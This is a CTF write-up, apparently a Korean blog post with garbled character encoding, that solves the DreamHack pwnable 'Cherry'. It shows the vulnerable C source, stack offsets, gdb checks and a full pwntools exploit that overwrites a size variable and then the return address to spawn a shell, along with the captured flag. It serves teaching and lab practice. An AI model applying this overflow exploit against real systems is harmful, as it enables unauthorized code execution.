๋ฌธ์ : DreamHack โ Cherry ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
๋ฌธ์ ์ค๋ช
์ "์ฃผ์ด์ง ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๋ฅผ ๋ถ์ํ์ฌ ์ต์คํ๋ก์ํ๊ณ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์! ํ๋๊ทธ๋ flag.txt ํ์ผ์ ์์ต๋๋ค."๋ก ์งง๋ค. ์์ค(chall.c)์ ๋ฐ์ด๋๋ฆฌ(chall)๊ฐ ๊ทธ๋๋ก ์ ๊ณต๋๋, ์์ค๊ฐ ์๋ pwnable ์ค์์๋ ํนํ ์ฝ๋๊ฐ ์งง์ ๋ฌธ์ ์๋ค โ ํจ์ ๋ค ๊ฐ, ์ ์ฒด 50์ค์ด ์ ๋๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Cherry |
| ๋์ด๋ | ๐ฅ Bronze 3 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | chall.c, chall (x86-64 ELF) |
| ํต์ฌ ๊ธฐ๋ฒ | ํฌ๊ธฐ ๋ณ์ ์์ฒด๋ฅผ ์ค๋ฒํ๋ก์ฐ๋ก ๋ฎ์ด 2์ฐจ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฌด์ ํ์ผ๋ก ํ์ฅ |
๐ฌ ์ ์ฐฐ โ ๋ณดํธ๊ธฐ๋ฒ๊ณผ ์์ค
checksec --file=chall
์นด๋๋ฆฌ๊ฐ ์๊ณ PIE๋ ๊บผ์ ธ ์๋ค โ ์คํ ์ค๋ฒํ๋ก์ฐ๋ก ๋ฐํ ์ฃผ์๋ฅผ ์ง์ ๋ฎ์ด์จ๋ ์๋ฌด ๊ฒ์ฆ ์์ด ํต๊ณผํ๊ณ , ํจ์ ์ฃผ์๋ ์คํํ ๋๋ง๋ค ๊ณ ์ ์ด๋ผ๋ ๋ป์ด๋ค. ์์ค๋ฅผ ์ฝ์ด๋ดค๋ค.
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
๊ฐ์ฅ ๋จผ์ ๋์ ๋๋ ๊ฑด buf[0x6](6๋ฐ์ดํธ)์ธ๋ฐ read(stdin_fd, buf, buf_size)๊ฐ buf_size=0x10(16๋ฐ์ดํธ)๋งํผ ์ฝ๋๋ค๋ ์ โ ์ ์ธ ํฌ๊ธฐ๋ณด๋ค ํฐ ๊ฐ์ผ๋ก ์ฝ์ด์ ์ฆ์ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋๋ค. ๊ทธ๋ฆฌ๊ณ flag()๋ผ๋, ๋๋๊ณ /bin/sh๋ฅผ ์คํ์์ผ์ฃผ๋ ํจ์๊ฐ ์ด๋ฏธ ๋ฐ์ด๋๋ฆฌ ์์ ์กด์ฌํ๋ค. ์นด๋๋ฆฌ๋ ์์ผ๋ ์ ํ์ ์ธ ret2win์ฒ๋ผ ๋ณด์๋ค.
โถ๐ณ๏ธ ์ฝ์ง โ 1์ฐจ read ํ ๋ฒ์ผ๋ก ๋ฐ๋ก ๋ฐํ ์ฃผ์๊น์ง ๋ ์ค ์์๋ค
์นด๋๋ฆฌ๊ฐ ์๋ค๋ ๊ฑธ ๋ณด์๋ง์ "๊ทธ๋ผ ๊ทธ๋ฅ buf์ ํจ๋ฉ ์ฑ์ฐ๊ณ ๋ฐํ ์ฃผ์๋ฅผ flag()๋ก ๋ฎ์ผ๋ฉด ๋ ์๋๊ฐ"๋ถํฐ ์๊ฐํ๋ค. ๊ทธ๋ฐ๋ฐ read(stdin_fd, buf, buf_size)์ buf_size๊ฐ ์ ํํ 0x10(16๋ฐ์ดํธ)์ผ๋ก ๊ณ ์ ์์์ฒ๋ผ ๋์ด๊ฐ๋ค๋ ๊ฑธ ๋ค์ ๋ณด๊ณ ๊ณ์ฐ์ ํด๋ดค๋ค.
buf(rbp-0x18) โ ๋ฐํ์ฃผ์(rbp+0x8) ๊น์ง ๊ฑฐ๋ฆฌ = 0x18 + 0x8 = 0x20(32๋ฐ์ดํธ)
1์ฐจ read๊ฐ ์ค์ ๋ก ์ธ ์ ์๋ ์ต๋ ๋ฐ์ดํธ ์ = buf_size = 0x10(16๋ฐ์ดํธ)32๋ฐ์ดํธ๋ฅผ ๋ฎ์ด์ผ ๋ฐํ ์ฃผ์์ ๋ฟ๋๋ฐ, 1์ฐจ read ์์ฒด๊ฐ ์ ์ด์ 16๋ฐ์ดํธ๋ง ๋ฐ๋๋ค โ ์๋ฌด๋ฆฌ ํ์ด๋ก๋๋ฅผ ๊ธธ๊ฒ ๋ณด๋ด๋ read()๊ฐ ๊ทธ ์ด์์ ์๋ผ์ ์ฝ์ง ์์ผ๋, ์ด ํ ๋ฒ์ ํธ์ถ๋ง์ผ๋ก๋ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋ฐํ ์ฃผ์์ ๋๋ฌํ ์ ์๋ค. ์นด๋๋ฆฌ๊ฐ ์๋ค๋ ์ฌ์ค ํ๋๋ง์ผ๋ก "๋ฐ๋ก ๋ ๊ฒ"์ด๋ผ๊ณ ๋๊ฒจ์ง์๋ ๊ฒ ์คํ์ด์๋ค.
๊ทธ๋์ ๋ค์ ์์ค๋ฅผ ์ฒ์ฒํ ์ฝ๋ค๊ฐ, ๊ทธ 16๋ฐ์ดํธ ์ฝ๊ธฐ ๋ฒ์ ์์ buf(6B)์ fruit(6B) ๋ง๊ณ ๋ฑ 4๋ฐ์ดํธ๊ฐ ๋จ๋๋ค๋ ๊ฑธ ์์์ฑ๋ค โ ๊ทธ๋ฆฌ๊ณ ๊ทธ 4๋ฐ์ดํธ๊ฐ ์ ํํ buf_size ๋ณ์ ์์ ์ ์คํ ์ฃผ์์ ๊ฒน์น๋ค. ํฌ๊ธฐ ์ ํ์ผ๋ก ์ฐ์ธ ์์๊ฐ ์ฌ์ค์ ์ค๋ฒํ๋ก์ฐ๋ก ๋๋ฌ ๊ฐ๋ฅํ ์ง์ญ ๋ณ์์๋ ๊ฒ์ด๋ค. "ํ ๋ฒ์ ์ ๋๋ฉด ๊ทธ ํ๊ณ ์์ฒด๋ฅผ ๋จผ์ ๊นจ์"๋ ๋ฐฉํฅ์ผ๋ก ๋ฐ๊พธ๊ณ ๋์์ผ ์ง์ง ํ์ด๊ฐ ๋ณด์ด๊ธฐ ์์ํ๋ค.
๐ฃ ํต์ฌ โ ํฌ๊ธฐ ๋ณ์ ์์ฒด๊ฐ ์คํ ์์ ์๋ค
objdump๋ก main์ ์คํ ๋ณ์ ๋ฐฐ์น๋ฅผ ์ ํํ ์ถ์ ํ๋ค.
objdump -d -M intel --disassemble=main chall
๋ฎ์ ์ฃผ์๋ถํฐ ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
buf[6] rbp-0x18 ~ rbp-0x12
fruit[6] rbp-0x12 ~ rbp-0xc
buf_size rbp-0xc ~ rbp-0x8
stdout_fd rbp-0x8 ~ rbp-0x4
stdin_fd rbp-0x4 ~ rbp+0x0
saved rbp rbp+0x0 ~ rbp+0x8
return addr rbp+0x8 ~ rbp+0x10์ฒซ ๋ฒ์งธ read(stdin_fd, buf, buf_size)๋ buf_size์ ์ด๊น๊ฐ 0x10(16๋ฐ์ดํธ)๋งํผ buf(rbp-0x18)๋ถํฐ ์ฝ๋๋ค. buf(6B) + fruit(6B) + buf_size(4B) = ์ ํํ 16๋ฐ์ดํธ โ ์ด ์ฒซ ์ฝ๊ธฐ์ ๋ง์ง๋ง 4๋ฐ์ดํธ๊ฐ ์ ํํ buf_size ๋ณ์ ์์ ์ ์์น์ ์ฐฉ์งํ๋ค. ์ฆ ์ด ์์ ์์ ์ด๋ฏธ buf_size๋ฅผ ์ํ๋ ๊ฐ์ผ๋ก ๋ฎ์ด์ธ ์ ์๋ค.
์ดํ strncmp(buf, "cherry", 6) ๊ฒ์ฌ๋ buf์ ์ฒ์ 6๋ฐ์ดํธ๋ง ๋ณธ๋ค. ๊ทธ๋ฌ๋ ํ์ด๋ก๋ ์ 6๋ฐ์ดํธ๋ฅผ "cherry"๋ก ๋ง์ถฐ์ ๊ฒ์ฌ๋ง ํต๊ณผ์ํค๋ฉด, ๋๋จธ์ง 10๋ฐ์ดํธ(fruit 6๋ฐ์ดํธ + buf_size 4๋ฐ์ดํธ)๋ ์์ ํ ์์ ๋กญ๊ฒ ์ฑ์ธ ์ ์๋ค. buf_size๋ฅผ ์์ปจ๋ 0x100์ฒ๋ผ ํฐ ๊ฐ์ผ๋ก ๋ฎ์ด์ฐ๋ฉด, ๊ณง๋ฐ๋ก ์ด์ด์ง๋ ๋ ๋ฒ์งธ read(stdin_fd, fruit, buf_size)๋ ์ด์ ๊ณต๊ฒฉ์๊ฐ ์ ํ ํฌ๊ธฐ๋งํผ fruit(rbp-0x12)๋ถํฐ ์ฝ๋๋ค. fruit์์ ๋ฐํ ์ฃผ์(rbp+0x8)๊น์ง๋ ์ ํํ 26๋ฐ์ดํธ(0x12+0x8=0x1a) โ ๋ ๋ฒ์งธ ์ค๋ฒํ๋ก์ฐ๋ ์ด ๊ฑฐ๋ฆฌ๋ฅผ ๊ฐ๋ณ๊ฒ ๋์ด ๋ฐํ ์ฃผ์๊น์ง ๋๋ฌํ๋ค.
์ด ์์์ด ๋ง๋์ง ์ค์ ํ์ด๋ก๋๋ฅผ ๋ณด๋ด๋ฉด์ gdb๋ก ๋ ์์ ์ ์คํ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ง์ ์ฐ์ด ํ์ธํ๋ค.
gdb -q -batch \
-ex 'break *0x40136d' -ex 'run < payload' \
-ex 'printf "buf_size after 1st read = 0x%x\n", *(unsigned int*)($rbp-0xc)' \
-ex 'break *0x4013bc' -ex 'continue' \
-ex 'printf "return-addr slot after 2nd read = 0x%lx\n", *(unsigned long*)($rbp+0x8)' \
./chall
๋ ์ง์ ๋ชจ๋ ๊ณ์ฐํ ๊ทธ๋๋ก์๋ค โ 1์ฐจ read ์งํ buf_size๋ ์ ํํ 0x100์ผ๋ก, 2์ฐจ read ์งํ ๋ฐํ ์ฃผ์ ์๋ฆฌ๋ ์ ํํ flag()์ ์ฃผ์(0x4012bc)๋ก ๋ฎ์ฌ ์์๋ค. ์ ์ ๋ถ์์ผ๋ก ์ถ๋ก ํ ์คํ์
์ด ๋ฐํ์์์๋ ํ ์น์ ์ค์ฐจ ์์ด ๋ง์๋จ์ด์ง ๊ฑธ ํ์ธํ ๋ค์์ผ ์ต์คํ๋ก์์ ์คํํ๋ค.

์ ๋ฆฌํ๋ฉด ๊ณต๊ฒฉ์ 2๋จ๊ณ๋ค.
- 1์ฐจ ์
๋ ฅ(16๋ฐ์ดํธ):
"cherry"+ ์์ 6๋ฐ์ดํธ +buf_size๋ฅผ ํฐ ๊ฐ์ผ๋ก ๋ฎ๋ 4๋ฐ์ดํธ - 2์ฐจ ์
๋ ฅ(์ํ๋ ๋งํผ): 26๋ฐ์ดํธ ์ฑ์ +
flag()์ ์ฃผ์(0x4012bc) 8๋ฐ์ดํธ
๐ฏ ์์ฒด ์๊ฒฐ solve
from pwn import *
FLAG_ADDR = 0x4012bc
p = process('./chall') # ๋๋ remote(host, port)
# 1๋จ๊ณ: buf_size(rbp-0xc) ์์ฒด๋ฅผ ๋ฎ์ด ํ์ฅ
stage1 = b"cherry" # strncmp(buf, "cherry", 6) ํต๊ณผ์ฉ
stage1 += b"A" * 6 # fruit ์๋ฆฌ(๋ด์ฉ ๋ฌด๊ด)
stage1 += p32(0x100) # buf_size๋ฅผ 0x100์ผ๋ก ํ์ฅ
p.recvuntil(b"Menu: ")
p.send(stage1)
# 2๋จ๊ณ: ํ์ฅ๋ buf_size๋ก fruit๋ถํฐ ๋ฐํ์ฃผ์๊น์ง ์ค๋ฒํ๋ก์ฐ
stage2 = b"B" * 26 + p64(FLAG_ADDR)
p.recvuntil(b"Is it cherry?: ")
p.send(stage2)
p.sendline(b"echo SHELL_OK_$(id -u)")
print(p.recv())๋จผ์ ๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ๋ก ์ ๋ง ์ ธ์ด ๋จ๋์ง ํ์ธํ๋ค.

๋ก์ปฌ์์ ์ ธ์ด ๋จ๋ ๊ฑธ ํ์ธํ ๋ค, ๊ฐ์ ํ์ด๋ก๋๋ฅผ ๊ทธ๋๋ก ์๊ฒฉ ์๋ฒ์ ์๋ค.
python3 solve.py remote host3.dreamhack.games:10180
๋ก์ปฌ๊ณผ ์ ํํ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์๊ฒฉ์์๋ ์
ธ์ด ๋จ๊ณ , cat flag* ๊ฒฐ๊ณผ๋ก ์ค์ flag๊ฐ ๊ทธ๋๋ก ๋์์๋ค.
FLAG: DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
๐ ๊ฒฐ๋ก
ํฌ๊ธฐ ์ ํ ์์ฒด๊ฐ ์กฐ์ ๊ฐ๋ฅํ ๋ฐ์ดํฐ๋ผ๋ฉด, ๊ทธ ์ ํ์ ์๋ ๊ฒ์ด๋ ๋ง์ฐฌ๊ฐ์ง๋ค. buf_size๋ ์ฝ๋๋ฅผ ์ฝ์ ๋๋ "์์ ์ ์ํด ๋ช
์์ ์ผ๋ก ์ง์ ํ ์ฝ๊ธฐ ๊ธธ์ด"์ฒ๋ผ ๋ณด์ด์ง๋ง, ์ค์ ๋ก๋ ์คํ ์์ ํ๋ฒํ ์ง์ญ ๋ณ์๋ผ์ ์ธ์ ํ ๋ฒํผ์ ์ค๋ฒํ๋ก์ฐ๋ก ์์ ๋กญ๊ฒ ๋ฎ์ด์ธ ์ ์์๋ค. ์ค๋ฒํ๋ก์ฐ ๋ฐฉ์ง๋ฅผ ์ํด ํฌ๊ธฐ๋ฅผ ์์๋ก ๋๊ธฐ๋ ์ต๊ด์ด ์๋ค๋ฉด, ๊ทธ ์์๊ฐ ๋ด๊ธด ๋ณ์์ ๋ฉ๋ชจ๋ฆฌ ์์น๊ฐ ๊ณต๊ฒฉ ๋์์ด ๋ ์ ์๋ค๋ ์ ๊น์ง ํจ๊ป ๊ณ ๋ คํด์ผ ํ๋ค.
์์ 1์ฐจ ์ค๋ฒํ๋ก์ฐ๊ฐ ํจ์ฌ ํฐ 2์ฐจ ์ค๋ฒํ๋ก์ฐ์ ๋ฌธ์ ์ฐ๋ค. ์ด ๋ฌธ์ ์ ์ฒซ read๋ง ๋๊ณ ๋ณด๋ฉด ๋ฐํ ์ฃผ์๊น์ง ๋๋ฌํ์ง ๋ชปํ๋, ์ผํ "๋ ์ํํด ๋ณด์ด๋" ์ค๋ฒํ๋ก์ฐ๋ค. ํ์ง๋ง ๊ทธ ์ฌํ๊ฐ ๋ค์ ์์
์ ํฌ๊ธฐ ์ ํ ์์ฒด๋ฅผ ๋ฌด๋ ฅํํ๋ฉด์ ํจ์ฌ ๊ฐ๋ ฅํ 2์ฐจ ์ทจ์ฝ์ ์ผ๋ก ์ด์ด์ก๋ค. ์ค๋ฒํ๋ก์ฐ ํ๋๋ฅผ ๋ถ์ํ ๋ "์ผ๋ง๋ ๋ฉ๋ฆฌ ๋๋ฌํ๋๊ฐ"๋ฟ ์๋๋ผ "๋ฌด์์ ๋ฎ์ด์ฐ๋๊ฐ"๊น์ง ํ์ธํด์ผ ํ๋ ์ด์ ๋ค.
checksec์ SHSTK/IBT ํ์๊ฐ ํญ์ ์ค์ ๋ณดํธ๋ก ์ด์ด์ง์ง๋ ์๋๋ค. ์ด ๋ฐ์ด๋๋ฆฌ๋ Intel CET(์๋์ฐ ์คํยท๊ฐ์ ๋ถ๊ธฐ์ถ์ ) ์ง์ ํ๋๊ทธ๋ฅผ ๋ฌ๊ณ ์ปดํ์ผ๋์ง๋ง, ์ค์ ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์จ๋ ๋ณ๋ฌธ์ ์์ด ret์ด ๊ทธ๋๋ก ์คํ๋๋ค. ์ปค๋ยทCPU๊ฐ CET๋ฅผ ์ค์ ๋ก ํ์ฑํํด ๊ฐ์ ํ์ง ์์ผ๋ฉด ๋ฐ์ด๋๋ฆฌ์ ์์ฒญ ํ๋๊ทธ๋ ์ฅ์์ ๊ฐ๊น๋ค โ checksec ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ๋๋ "์ด ๋ณดํธ๊ฐ ์ปดํ์ผ ํ์์ ์์ฒญ๋๋๊ฐ"์ "๋ฐํ์์ ์ค์ ๋ก ๊ฑธ๋ ค ์๋๊ฐ"๋ฅผ ๊ตฌ๋ถํด์ ๋ด์ผ ํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ